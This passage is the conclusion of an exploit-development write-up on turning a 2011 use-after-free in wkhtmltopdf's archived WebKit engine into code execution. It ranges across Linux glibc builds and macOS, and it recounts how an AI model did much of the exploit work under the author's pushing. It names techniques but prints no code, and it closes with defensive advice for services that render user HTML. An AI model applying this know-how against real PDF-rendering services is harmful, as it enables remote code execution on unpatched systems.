The model ground through the mechanics: it read the fork's JSArray.cpp, tuned the reclaim sizes, wrote and debugged the leak, built the FSOP chain field by field, ported the primitives to Mach-O, and wrote the harness. Left to its own judgment, it repeatedly treated obstacles as stopping points. When the Full-RELRO write faulted, its first framing was that the target was hardened and the exploit was done; the House of Apple 2 pivot happened only because I rejected that conclusion. Three specific interventions changed the outcome. First, I made it prove the current package was really the 2011 engine rather than assume it, which is how the apt-versus-patched split surfaced. Second, I rejected stopping at the RELRO wall. Third, testing through pdfkit rather than the CLI it had been developing against exposed the alert-based trigger as caller-dependent and forced the flag-independent one; the model was satisfied with a trigger that worked on its own test harness and would have shipped it.

The macOS port is the clearest case. It began as a one-line question, "can we make it work on macOS," that the model had earlier written off in its own notes as out of scope. Given the push, the port took a single session, because the hard parts were already understood; the model's earlier judgment that it was out of scope was wrong. A model that stops at the first plausible dead end still needs someone familiar with the domain to keep it going.

Conclusion

The premise from the first two posts holds a third time: a service that renders attacker-controlled HTML through an outdated, unmaintained browser engine can be driven to code execution, and the payload is ordinary JavaScript in the page. What is new here is how little the exploit depends on the target's particulars. A single use-after-free from 2011, one set of JavaScript primitives, and a finisher chosen by a page-offset fingerprint carry it across Partial and Full RELRO, three glibc versions, and a different operating system, all in one self-contained file, under ASLR, with no special render flags.

Scope, stated plainly: this is x86-64. It covers Linux with glibc and native macOS; it does not cover musl (Alpine) or arm64, which would need a different finisher and a different instruction set respectively. The offsets here are for the patched-qt build; as the previous section showed, the distribution apt package needs the Part 2 exploit instead.

If you generate PDFs from HTML that any user can influence, the defensive options are the usual ones, in rough order of preference: stop feeding attacker-controlled markup into the renderer; disable JavaScript in the converter (--disable-javascript); sandbox the render process so code execution buys the attacker as little as possible; or move off wkhtmltopdf entirely. The project is archived, and this bug will never be fixed.